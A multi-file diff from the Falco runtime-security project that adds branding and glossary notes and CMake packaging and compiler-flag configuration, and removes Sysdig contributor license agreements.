+### Logo
+
+There are 3 logos available for use in this directory. Use the primary logo unless required otherwise due to background issues or printing.
+
+The Falco logo is Apache 2 licensed and free to use in media and publication for the CNCF Falco project.
+
+### Colors
+
+| Name      | PMS  | RGB         |
+|-----------|------|-------------|
+| Teal      | 3125 |   0 174 199 |
+| Cool Gray |   11 |  83  86  90 |
+| Black     |      |   0   0   0 |
+| Blue-Gray | 7700 |  22 92 125  |
+| Gold      | 1375 | 255 158  27 |
+| Orange    |  171 | 255  92  57 |
+| Emerald   | 3278 |   0 155 119 |
+| Green     |  360 | 108 194  74 |
+
+The primary colors are those in the first two rows.
+
+### Slogan
+
+> Cloud Native Runtime Security
+
+### Writing about Falco
+
+##### Yes
+
+Notice the capitalization of the following terms.
+
+ - The Falco Project
+ - Falco
+
+##### No
+
+ - falco
+ - the falco project
+ - the Falco project
+
+---
+
+# Glossary
+
+This section contains key terms specifically used within the context of The Falco Project. For a more comprehensive list of Falco-related terminology, we invite you to visit the [Glossary](https://falco.org/docs/reference/glossary/) page on our official website.
+
+#### Modern eBPF Probe
+
+Robust eBPF probe, which brings the CO-RE paradigm, better performances, and maintainability. 
+The modern eBPF probe is not shipped as a separate artifact but bundled into the Falco binary itself.
+This is one option used to pass kernel events up to userspace for Falco to consume.
+
+#### Kernel Module
+
+Used to describe the `.ko` object that would be loaded into the kernel as a potentially risky kernel module.
+This is one option used to pass kernel events up to userspace for Falco to consume.
+
+#### Driver 
+
+The global term for the software that sends events from the kernel. Such as the [Modern eBPF probe](#modern-ebpf-probe), or the [Kernel Module](#kernel-module).
+
+#### Plugin
+
+Used to describe a dynamic shared library (`.so` files in Unix, `.dll` files in Windows) that conforms to a documented API and allows to extend Falco's capabilities.
+
+#### Falco
+
+The name of the project and also the name of [the main engine](https://github.com/falcosecurity/falco) that the rest of the project is built on.
+

brand/teal-logo.svg

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cla/falco_contributor_agreement.txt

@@ -1,30 +0,0 @@
-DRAIOS, INC. – OPEN SOURCE CONTRIBUTION LICENSE AGREEMENT (“Agreement”)
-
-Draios, Inc. dba Sysdig (“Draios” or “Sysdig”) welcomes you to work on our open source software projects. In order to clarify the intellectual property license granted with Contributions from any person or entity, you must agree to the license terms below in order to contribute code back to our repositories. This license is for your protection as a Contributor as well as the protection of Sysdig; it does not change your rights to use your own Contributions for any other purpose. To indicate your Agreement, follow the procedure set forth below under TO AGREE, after reading this Agreement.
-
-You accept and agree to the following terms and conditions for Your present and future Contributions submitted to Draios/Sysdig. Except for the license granted herein to Draios/Sysdig and recipients of software distributed by Draios/Sysdig, You reserve all right, title, and interest in and to Your Contributions.
-
-1. Definitions.  "You" (or "Your") shall mean the individual natural person and copyright owner who is making this Agreement with Draios/Sysdig. “You” excludes legal entities such as corporations, and Draios/Sysdig provides a separate CLA for corporations or other entities. "Contribution" shall mean any original work of authorship, including any modifications or additions to an existing work, that is intentionally submitted by You to Draios/Sysdig for inclusion in, or documentation of, any of the products owned or managed by Draios/Sysdig (the "Work"). For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to Draios/Sysdig or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, Draios/Sysdig for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by You as "Not a Contribution."
-
-2. Grant of Copyright License. Subject to the terms and conditions of this Agreement, You hereby grant to Draios/Sysdig and to recipients of software distributed by Draios/Sysdig a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Your Contributions and such derivative works.
-
-3. Grant of Patent License. Subject to the terms and conditions of this Agreement, You hereby grant to Draios/Sysdig and to recipients of software distributed by Draios/Sysdig a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims that You have the right to license and that are necessarily infringed by Your Contribution(s) alone or by combination of Your Contribution(s) with the Work to which such Contribution(s) was submitted. If any entity other than Draios/Sysdig institutes patent litigation against You or any other entity (including a cross-claim or counterclaim in a lawsuit) alleging that your Contribution, or the Work to which you have contributed, constitutes direct or contributory patent infringement, then any patent licenses granted to that entity under this Agreement for that Contribution or Work shall terminate as of the date such litigation is filed.
-
-4. You represent to Draios/Sysdig that You are legally entitled to grant the licenses set forth above.
-
-5. You represent that each of Your Contributions is Your original creation unless you act according to section 7 below. You represent that Your Contribution submissions include complete details of any third-party license or other restriction (including, but not limited to, related patents and trademarks) of which You are personally aware and which are associated with any part of Your Contributions. You represent that Your sign-off indicating assent to this Agreement includes your real name and not a pseudonym, and that you shall not attempt or make an anonymous Contribution.
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-6. You are not expected to provide support for Your Contributions, except to the extent You desire to provide support. You may provide support for free, for a fee, or not at all. Unless required by applicable law or agreed to in writing, You provide Your Contributions to Draios/Sysdig on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON- INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE.
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-
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-
-TO AGREE:
-Add the following line to every GIT commit message:
-
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-
-Use your real name; pseudonyms or anonymous contributions are not allowed.

cla/falco_corp_contributor_agreement.txt

@@ -1,33 +0,0 @@
-DRAIOS, INC. – OPEN SOURCE CONTRIBUTION LICENSE AGREEMENT FOR CONTRIBUTING ENTITIES (SUCH AS CORPORATIONS) (“Agreement”)
-
-Draios, Inc. dba Sysdig (“Draios” or “Sysdig”) welcomes you to work on our open source software projects. In order to clarify the intellectual property license granted with Contributions from any person or entity, you must agree to the license terms below in order to contribute code back to our repositories. This license is for your protection as a Contributor as well as the protection of Sysdig; it does not change your rights to use your own Contributions for any other purpose. To indicate your Agreement, follow the procedure set forth below under TO AGREE, after reading this Agreement.
-
-A “contributing entity” means a corporation, limited liability company, partnership, or other entity that is organized and recognized under the laws of a state of the United States or another country (a “contributing entity”). We provide a separate CLA for individual contributors.
-
-You accept and agree to the following terms and conditions for Your present and future Contributions that are submitted to Draios/Sysdig. Except for the license granted herein to Draios/Sysdig and recipients of software distributed by Draios/Sysdig, You reserve all right, title, and interest in and to Your Contributions.
-
-1. Definitions.  "You" (or "Your") shall mean the contributing entity that owns for copyright purposes or otherwise has the right to contribute the Contribution, and that is making this Agreement with Draios/Sysdig, and all other entities that control, are controlled by, or are under common control with the contributing entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "Contribution" shall mean any original work of authorship, including any modifications or additions to an existing work, that is intentionally submitted by You to Draios/Sysdig for inclusion in, or documentation of, any of the products owned or managed by Draios/Sysdig (the "Work"). For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to Draios/Sysdig or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, Draios/Sysdig for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by You as "Not a Contribution."
-
-2. Grant of Copyright License. Subject to the terms and conditions of this Agreement, You hereby grant to Draios/Sysdig and to recipients of software distributed by Draios/Sysdig a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Your Contributions and such derivative works.
-
-3. Grant of Patent License. Subject to the terms and conditions of this Agreement, You hereby grant to Draios/Sysdig and to recipients of software distributed by Draios/Sysdig a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims that You have the right to license and that are necessarily infringed by Your Contribution(s) alone or by combination of Your Contribution(s) with the Work to which such Contribution(s) was submitted. If any entity other than Draios/Sysdig institutes patent litigation against You or any other entity (including a cross-claim or counterclaim in a lawsuit) alleging that your Contribution, or the Work to which you have contributed, constitutes direct or contributory patent infringement, then any patent licenses granted to that entity under this Agreement for that Contribution or Work shall terminate as of the date such litigation is filed.
-
-4. You represent to Draios/Sysdig that You own or have the right to contribute Your Contributions to Draios/Sysdig, and that You are legally entitled to grant the licenses set forth above.
-
-5. You represent that each of Your Contributions is Your original creation (see section 7 for submissions on behalf of others). You represent that Your Contribution submissions include complete details of any third-party license or other restriction (including, but not limited to, related patents and trademarks) of which You are personally aware and which are associated with any part of Your Contributions. You represent that Your sign-off indicating assent to this Agreement includes the real name of a natural person who is an authorized representative of You, and not a pseudonym, and that You are not attempting or making an anonymous Contribution.
-
-6. You are not expected to provide support for Your Contributions, except to the extent You desire to provide support. You may provide support for free, for a fee, or not at all. Unless required by applicable law or agreed to in writing, You provide Your Contributions to Draios/Sysdig on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON- INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE.
-
-7. If You wish to submit work that is not Your original creation, You may submit it to Draios/Sysdig separately from any Contribution, identifying the complete details of its source and of any license or other restriction (including, but not limited to, related patents, trademarks, and license agreements) of which You are aware, and conspicuously marking the work as "Submitted on behalf of a third-party: [named here]".
-
-8. You agree to notify Draios/Sysdig of any facts or circumstances of which you become aware that would make these representations inaccurate in any respect.
-
-9. You understand and agree that this project and Your Contribution are public and that a record of the contribution, including all personal information that You submit with it, including the sign-off of Your authorized representative, may be stored by Draios/Sysdig indefinitely and may be redistributed to others. You understand and agree that Draios/Sysdig has no obligation to use any Contribution in any Draios/Sysdig project or product, and Draios/Sysdig may decline to accept Your Contributions or Draios/Sysdig may remove Your Contributions from Draios/Sysdig projects or products at any time without notice. You understand and agree that Draios/Sysdig is not and will not pay You any form of compensation, in currency, equity or otherwise, in exchange for Your Contributions or for Your assent to this Agreement. You understand and agree that You are independent of Draios/Sysdig and You are not, by entering into this Agreement or providing Your Contributions, becoming employed, hired as an independent contractor, or forming any other relationship with Draios/Sysdig relating to employment, compensation or ownership or involving any fiduciary obligation.
-
-TO AGREE:
-Add the following lines to every GIT commit message:
-
-falco-CLA-1.0-contributing-entity: Full Legal Name of Entity
-falco-CLA-1.0-signed-off-by: Joe Smith <joe.smith@email.com>
-
-Use a real name of a natural person who is an authorized representative of the contributing entity; pseudonyms or anonymous contributions are not allowed.

cla/falco_govt_contributor_agreement.txt

@@ -1,33 +0,0 @@
-DRAIOS, INC. <20> OPEN SOURCE CONTRIBUTION AGREEMENT FOR UNITED STATES GOVERNMENT CONTRIBUTING ENTITIES (<28>Agreement<6E>)
-
-Draios, Inc. (<28>Draios<6F> or <20>Sysdig<69>) welcomes the work of others on our open source software projects.  To contribute code back to our repositories, we require a contributing entity that is a United States Government agency to complete, and agree to, the Government Contributor Agreement (GCA) set forth here, by and through a designated authorized representative. This agreement clarifies the ability for us to use and incorporate the contributions of a government contributing entity in our projects and products. After agreeing to these terms, a contributing entity may contribute to our projects. To indicate the agreement of the contributing entity, an authorized representative shall follow the procedure set forth below under TO AGREE, after reading this Agreement. A <20>contributing entity<74> means any agency or unit of the United States government. We provide a separate CLA for individual contributors. 
-
-You accept and agree to the following terms and conditions for Your present and future Contributions that are submitted to Draios/Sysdig.
-
-1. Definitions.  "You" (or "Your") shall mean the contributing entity that has authored or otherwise has the right to contribute the Contribution, and that is making this Agreement with Draios/Sysdig. "Contribution" shall mean any original work of authorship, including any modifications or additions to an existing work, that is intentionally submitted by You to Draios/Sysdig for inclusion in, or documentation of, any of the products owned or managed by Draios/Sysdig (the "Work"). For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to Draios/Sysdig or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, Draios/Sysdig for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by You as "Not a Contribution."
-
-2. Contributions Not Subject to Copyright. Each Contribution is a work authored by the United States Government or an employee or officer thereof and is not subject to copyright under 17 U.S.C. 105.
-
-3. Grant of Patent License. Subject to the terms and conditions of this Agreement, You hereby grant to Draios/Sysdig and to recipients of software distributed by Draios/Sysdig a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims that You have the right to license and that are necessarily infringed by Your Contribution(s) alone or by combination of Your Contribution(s) with the Work to which such Contribution(s) was submitted. If any entity other than Draios/Sysdig institutes patent litigation against You or any other entity (including a cross-claim or counterclaim in a lawsuit) alleging that your Contribution, or the Work to which you have contributed, constitutes direct or contributory patent infringement, then any patent licenses granted to that entity under this Agreement for that Contribution or Work shall terminate as of the date such litigation is filed.
-
-4. You represent to Draios/Sysdig that You own or have the right to contribute Your Contributions to Draios/Sysdig, and that You are legally entitled to grant the license set forth above.
-
-5. You represent that each of Your Contributions is Your original creation (see section 7 for submissions on behalf of others). You represent that Your Contribution submissions include complete details of any third-party license or other restriction (including, but not limited to, related patents and trademarks) of which You are personally aware and which are associated with any part of Your Contributions. You represent that Your sign-off indicating assent to this Agreement includes the real name of a natural person who is an authorized representative of You, and not a pseudonym, and that You are not attempting or making an anonymous Contribution.
-
-6. You are not expected to provide support for Your Contributions, except to the extent You desire to provide support. You may provide support for free, for a fee, or not at all. Unless required by applicable law or agreed to in writing, You provide Your Contributions to Draios/Sysdig on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON- INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE.
-
-7. If You wish to submit work that is not Your original creation, You may submit it to Draios/Sysdig separately from any Contribution, identifying the complete details of its source and of any license or other restriction (including, but not limited to, related patents, trademarks, and license agreements) of which You are aware, and conspicuously marking the work as "Submitted on behalf of a third-party: [named here]".
-
-8. You agree to notify Draios/Sysdig of any facts or circumstances of which you become aware that would make these representations inaccurate in any respect.
-
-9. You understand and agree that this project and Your Contribution are public and that a record of the contribution, including all personal information that You submit with it, including the sign-off of Your authorized representative, may be stored by Draios/Sysdig indefinitely and may be redistributed to others. You understand and agree that Draios/Sysdig has no obligation to use any Contribution in any Draios/Sysdig project or product, and Draios/Sysdig may decline to accept Your Contributions or Draios/Sysdig may remove Your Contributions from Draios/Sysdig projects or products at any time without notice. You understand and agree that Draios/Sysdig is not and will not pay You any form of compensation, in currency, equity or otherwise, in exchange for Your Contributions or for Your assent to this Agreement. You understand and agree that You are independent of Draios/Sysdig and You are not, by entering into this Agreement or providing Your Contributions, becoming employed, hired as an independent contractor, or forming any other relationship with Draios/Sysdig relating to employment, compensation or ownership or involving any fiduciary obligation.
-
-TO AGREE:
-Add the following lines to every GIT commit message:
-
-falco-CLA-1.0-contributing-govt-entity: Full Legal Name of Entity
-falco-CLA-1.0-signed-off-by: Joe Smith joe.smith@email.com
-This file is a work of authorship of an employee or officer of the United States Government and is not subject to copyright in the United States under 17 USC 105.
-
-Use a real name of a natural person who is an authorized representative of the contributing entity; pseudonyms or anonymous contributions are not allowed.
-

cmake/cpack/CMakeCPackOptions.cmake

@@ -0,0 +1,51 @@
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2023 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+# in compliance with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License
+# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+# or implied. See the License for the specific language governing permissions and limitations under
+# the License.
+#
+
+if(CPACK_GENERATOR MATCHES "DEB" OR CPACK_GENERATOR MATCHES "RPM")
+	list(
+		APPEND
+		CPACK_INSTALL_COMMANDS
+		"mkdir -p _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system"
+	)
+	list(
+		APPEND
+		CPACK_INSTALL_COMMANDS
+		"cp scripts/systemd/falco-kmod-inject.service _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system"
+	)
+	list(
+		APPEND
+		CPACK_INSTALL_COMMANDS
+		"cp scripts/systemd/falco-kmod.service _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system"
+	)
+	list(
+		APPEND
+		CPACK_INSTALL_COMMANDS
+		"cp scripts/systemd/falco-modern-bpf.service _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system"
+	)
+	list(
+		APPEND
+		CPACK_INSTALL_COMMANDS
+		"cp scripts/systemd/falco-custom.service _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system"
+	)
+	list(
+		APPEND
+		CPACK_INSTALL_COMMANDS
+		"cp scripts/systemd/falcoctl-artifact-follow.service _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system"
+	)
+endif()
+
+if(CPACK_GENERATOR MATCHES "TGZ")
+	set(CPACK_SET_DESTDIR "ON")
+endif()

cmake/cpack/debian/conffiles

@@ -0,0 +1,3 @@
+/etc/falco/falco.yaml
+/etc/falco/falco_rules.local.yaml
+/etc/falcoctl/falcoctl.yaml

cmake/modules/CPackConfig.cmake

@@ -0,0 +1,100 @@
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2023 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+# in compliance with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License
+# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+# or implied. See the License for the specific language governing permissions and limitations under
+# the License.
+#
+
+set(CPACK_PACKAGE_NAME "${PACKAGE_NAME}")
+set(CPACK_PACKAGE_VENDOR "Cloud Native Computing Foundation (CNCF) cncf.io.")
+set(CPACK_PACKAGE_CONTACT "cncf-falco-dev@lists.cncf.io") # todo: change this once we've got
+# @falco.org addresses
+set(CPACK_PACKAGE_DESCRIPTION_SUMMARY "Falco - Container Native Runtime Security")
+set(CPACK_PACKAGE_DESCRIPTION_FILE "${PROJECT_SOURCE_DIR}/scripts/description.txt")
+set(CPACK_PACKAGE_VERSION "${FALCO_VERSION}")
+set(CPACK_PACKAGE_VERSION_MAJOR "${FALCO_VERSION_MAJOR}")
+set(CPACK_PACKAGE_VERSION_MINOR "${FALCO_VERSION_MINOR}")
+set(CPACK_PACKAGE_VERSION_PATCH "${FALCO_VERSION_PATCH}")
+set(CPACK_PROJECT_CONFIG_FILE "${PROJECT_SOURCE_DIR}/cmake/cpack/CMakeCPackOptions.cmake")
+if(CMAKE_BUILD_TYPE STREQUAL "debug")
+	set(CPACK_STRIP_FILES "OFF")
+else()
+	set(CPACK_STRIP_FILES "ON")
+endif()
+set(CPACK_PACKAGE_RELOCATABLE "OFF")
+if(EMSCRIPTEN)
+	set(CPACK_PACKAGE_FILE_NAME "${CPACK_PACKAGE_NAME}-${CPACK_PACKAGE_VERSION}-wasm")
+else()
+	set(CPACK_PACKAGE_FILE_NAME
+		"${CPACK_PACKAGE_NAME}-${CPACK_PACKAGE_VERSION}-${CMAKE_SYSTEM_PROCESSOR}"
+	)
+endif()
+
+if(WIN32)
+	set(CPACK_PACKAGE_INSTALL_DIRECTORY "${CPACK_PACKAGE_NAME}-${CPACK_PACKAGE_VERSION}")
+endif()
+
+# Built packages will include only the following components
+set(CPACK_INSTALL_CMAKE_PROJECTS
+	"${CMAKE_CURRENT_BINARY_DIR};${FALCO_COMPONENT_NAME};${FALCO_COMPONENT_NAME};/"
+)
+
+if(CMAKE_SYSTEM_NAME MATCHES "Linux") # only Linux has drivers
+	list(APPEND CPACK_INSTALL_CMAKE_PROJECTS
+		 "${CMAKE_CURRENT_BINARY_DIR};${DRIVER_COMPONENT_NAME};${DRIVER_COMPONENT_NAME};/"
+	)
+endif()
+
+if(NOT CPACK_GENERATOR)
+	if(CMAKE_SYSTEM_NAME MATCHES "Linux")
+		set(CPACK_GENERATOR DEB RPM TGZ)
+	else()
+		set(CPACK_GENERATOR TGZ)
+	endif()
+endif()
+
+message(STATUS "Using package generators: ${CPACK_GENERATOR}")
+message(STATUS "Package architecture: ${CMAKE_SYSTEM_PROCESSOR}")
+set(CPACK_DEBIAN_PACKAGE_SECTION "utils")
+
+if(${CMAKE_SYSTEM_PROCESSOR} STREQUAL "x86_64")
+	set(CPACK_DEBIAN_PACKAGE_ARCHITECTURE "amd64")
+endif()
+if(${CMAKE_SYSTEM_PROCESSOR} STREQUAL "aarch64")
+	set(CPACK_DEBIAN_PACKAGE_ARCHITECTURE "arm64")
+endif()
+set(CPACK_DEBIAN_PACKAGE_HOMEPAGE "https://www.falco.org")
+set(CPACK_DEBIAN_PACKAGE_SUGGESTS "dkms (>= 2.1.0.0)")
+set(CPACK_DEBIAN_PACKAGE_CONTROL_EXTRA
+	"${CMAKE_BINARY_DIR}/scripts/debian/postinst;${CMAKE_BINARY_DIR}/scripts/debian/prerm;${CMAKE_BINARY_DIR}/scripts/debian/postrm;${PROJECT_SOURCE_DIR}/cmake/cpack/debian/conffiles"
+)
+
+set(CPACK_RPM_PACKAGE_LICENSE "Apache v2.0")
+set(CPACK_RPM_PACKAGE_ARCHITECTURE, "amd64")
+set(CPACK_RPM_PACKAGE_URL "https://www.falco.org")
+set(CPACK_RPM_PACKAGE_REQUIRES "systemd")
+set(CPACK_RPM_PACKAGE_SUGGESTS "dkms, kernel-devel")
+set(CPACK_RPM_POST_INSTALL_SCRIPT_FILE "${CMAKE_BINARY_DIR}/scripts/rpm/postinstall")
+set(CPACK_RPM_PRE_UNINSTALL_SCRIPT_FILE "${CMAKE_BINARY_DIR}/scripts/rpm/preuninstall")
+set(CPACK_RPM_POST_UNINSTALL_SCRIPT_FILE "${CMAKE_BINARY_DIR}/scripts/rpm/postuninstall")
+set(CPACK_RPM_PACKAGE_VERSION "${FALCO_VERSION}")
+set(CPACK_RPM_EXCLUDE_FROM_AUTO_FILELIST_ADDITION
+	/usr/src
+	/usr/share/man
+	/usr/share/man/man8
+	/etc
+	/usr
+	/usr/bin
+	/usr/share
+)
+set(CPACK_RPM_PACKAGE_RELOCATABLE "OFF")
+
+include(CPack)

cmake/modules/CompilerFlags.cmake

@@ -0,0 +1,141 @@
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2023 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+# in compliance with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License
+# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+# or implied. See the License for the specific language governing permissions and limitations under
+# the License.
+#
+
+set(CMAKE_CXX_STANDARD 17)
+set(CMAKE_CXX_EXTENSIONS OFF)
+
+if(NOT FALCO_EXTRA_DEBUG_FLAGS)
+	set(FALCO_EXTRA_DEBUG_FLAGS "-D_DEBUG")
+endif()
+
+string(TOLOWER "${CMAKE_BUILD_TYPE}" CMAKE_BUILD_TYPE)
+if(CMAKE_BUILD_TYPE STREQUAL "debug")
+	set(KBUILD_FLAGS "${FALCO_EXTRA_DEBUG_FLAGS} ${FALCO_EXTRA_FEATURE_FLAGS}")
+	add_definitions(-DBUILD_TYPE_DEBUG)
+elseif(CMAKE_BUILD_TYPE STREQUAL "relwithdebinfo")
+	set(KBUILD_FLAGS "${FALCO_EXTRA_FEATURE_FLAGS}")
+	add_definitions(-DBUILD_TYPE_RELWITHDEBINFO)
+else()
+	set(CMAKE_BUILD_TYPE "release")
+	set(KBUILD_FLAGS "${FALCO_EXTRA_FEATURE_FLAGS}")
+	add_definitions(-DBUILD_TYPE_RELEASE)
+endif()
+message(STATUS "Build type: ${CMAKE_BUILD_TYPE}")
+
+if(MINIMAL_BUILD)
+	set(MINIMAL_BUILD_FLAGS "-DMINIMAL_BUILD")
+endif()
+
+if(MUSL_OPTIMIZED_BUILD)
+	set(MUSL_FLAGS "-static -Os -fPIE -pie")
+	add_definitions(-DMUSL_OPTIMIZED)
+endif()
+
+# explicitly set hardening flags
+set(CMAKE_POSITION_INDEPENDENT_CODE ON)
+set(FALCO_SECURITY_FLAGS "")
+if(LINUX)
+	set(FALCO_SECURITY_FLAGS "${FALCO_SECURITY_FLAGS} -fstack-protector-strong")
+	set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -Wl,-z,relro,-z,now")
+endif()
+
+if(NOT MSVC)
+
+	if(CMAKE_BUILD_TYPE STREQUAL "release")
+		set(FALCO_SECURITY_FLAGS "${FALCO_SECURITY_FLAGS} -D_FORTIFY_SOURCE=2")
+	endif()
+
+	if(USE_ASAN)
+		set(FALCO_SECURITY_FLAGS "${FALCO_SECURITY_FLAGS} -fsanitize=address")
+	endif()
+
+	if(USE_UBSAN)
+		set(FALCO_SECURITY_FLAGS "${FALCO_SECURITY_FLAGS} -fsanitize=undefined")
+		if(UBSAN_HALT_ON_ERROR)
+			set(FALCO_SECURITY_FLAGS "${FALCO_SECURITY_FLAGS} -fno-sanitize-recover=undefined")
+		endif()
+	endif()
+
+	if(USE_FRAME_POINTER)
+		set(FALCO_SECURITY_FLAGS "${FALCO_SECURITY_FLAGS} -fno-omit-frame-pointer")
+	endif()
+
+	set(CMAKE_COMMON_FLAGS
+		"${FALCO_SECURITY_FLAGS} -Wall -ggdb ${FALCO_EXTRA_FEATURE_FLAGS} ${MINIMAL_BUILD_FLAGS} ${MUSL_FLAGS}"
+	)
+
+	if(BUILD_WARNINGS_AS_ERRORS)
+		set(CMAKE_SUPPRESSED_WARNINGS
+			"-Wno-unused-parameter -Wno-unused-variable -Wno-unused-but-set-variable -Wno-missing-field-initializers -Wno-sign-compare -Wno-type-limits -Wno-implicit-fallthrough -Wno-format-truncation -Wno-stringop-truncation -Wno-stringop-overflow -Wno-restrict -Wno-deprecated-declarations"
+		)
+		set(CMAKE_COMPILE_WARNING_AS_ERROR ON)
+		set(CMAKE_COMMON_FLAGS "${CMAKE_COMMON_FLAGS} -Wextra ${CMAKE_SUPPRESSED_WARNINGS}")
+	endif()
+
+	set(CMAKE_C_FLAGS "${CMAKE_COMMON_FLAGS}")
+	set(CMAKE_CXX_FLAGS "-std=c++17 ${CMAKE_COMMON_FLAGS}")
+
+	set(CMAKE_C_FLAGS_DEBUG "${FALCO_EXTRA_DEBUG_FLAGS}")
+	set(CMAKE_CXX_FLAGS_DEBUG "${FALCO_EXTRA_DEBUG_FLAGS}")
+
+	set(CMAKE_C_FLAGS_RELEASE "-O3 -fno-strict-aliasing -DNDEBUG")
+	set(CMAKE_CXX_FLAGS_RELEASE "-O3 -fno-strict-aliasing -DNDEBUG")
+
+	set(CMAKE_C_FLAGS_RELWITHDEBINFO "${CMAKE_C_FLAGS_RELEASE} -g")
+	set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "${CMAKE_CXX_FLAGS_RELEASE} -g")
+
+	# Add linker flags to generate separate debug files
+	set(CMAKE_EXE_LINKER_FLAGS_RELWITHDEBINFO
+		"${CMAKE_EXE_LINKER_FLAGS_RELWITHDEBINFO} -Wl,--build-id"
+	)
+	set(CMAKE_SHARED_LINKER_FLAGS_RELWITHDEBINFO
+		"${CMAKE_SHARED_LINKER_FLAGS_RELWITHDEBINFO} -Wl,--build-id"
+	)
+
+else() # MSVC
+	set(MINIMAL_BUILD ON)
+	set(CMAKE_MSVC_RUNTIME_LIBRARY "MultiThreaded$<$<CONFIG:Debug>:Debug>")
+
+	# The WIN32_LEAN_AND_MEAN define avoids possible macro pollution when a libsinsp consumer
+	# includes the windows.h header: https://stackoverflow.com/a/28380820 Same goes for NOMINMAX:
+	# https://stackoverflow.com/questions/5004858/why-is-stdmin-failing-when-windows-h-is-included
+	add_compile_definitions(
+		_HAS_STD_BYTE=0 _CRT_SECURE_NO_WARNINGS WIN32 MINIMAL_BUILD WIN32_LEAN_AND_MEAN NOMINMAX
+	)
+
+	set(FALCOSECURITY_LIBS_COMMON_FLAGS "/EHsc /W3 /Zi /std:c++17")
+	set(FALCOSECURITY_LIBS_DEBUG_FLAGS "/MTd /Od")
+	set(FALCOSECURITY_LIBS_RELEASE_FLAGS "/MT")
+	set(FALCOSECURITY_LIBS_RELWITHDEBINFO_FLAGS "/MT /Zi")
+
+	# Ensure linker generates PDB files for MSVC
+	set(CMAKE_EXE_LINKER_FLAGS_RELWITHDEBINFO "${CMAKE_EXE_LINKER_FLAGS_RELWITHDEBINFO} /DEBUG")
+	set(CMAKE_SHARED_LINKER_FLAGS_RELWITHDEBINFO
+		"${CMAKE_SHARED_LINKER_FLAGS_RELWITHDEBINFO} /DEBUG"
+	)
+
+	set(CMAKE_C_FLAGS "${FALCOSECURITY_LIBS_COMMON_FLAGS}")
+	set(CMAKE_CXX_FLAGS "${FALCOSECURITY_LIBS_COMMON_FLAGS}")
+
+	set(CMAKE_C_FLAGS_DEBUG "${FALCOSECURITY_LIBS_DEBUG_FLAGS}")
